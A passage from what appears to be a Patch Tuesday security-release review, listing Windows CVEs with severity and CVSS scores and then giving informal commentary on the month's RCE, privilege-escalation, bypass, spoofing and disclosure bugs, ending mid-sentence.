No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug 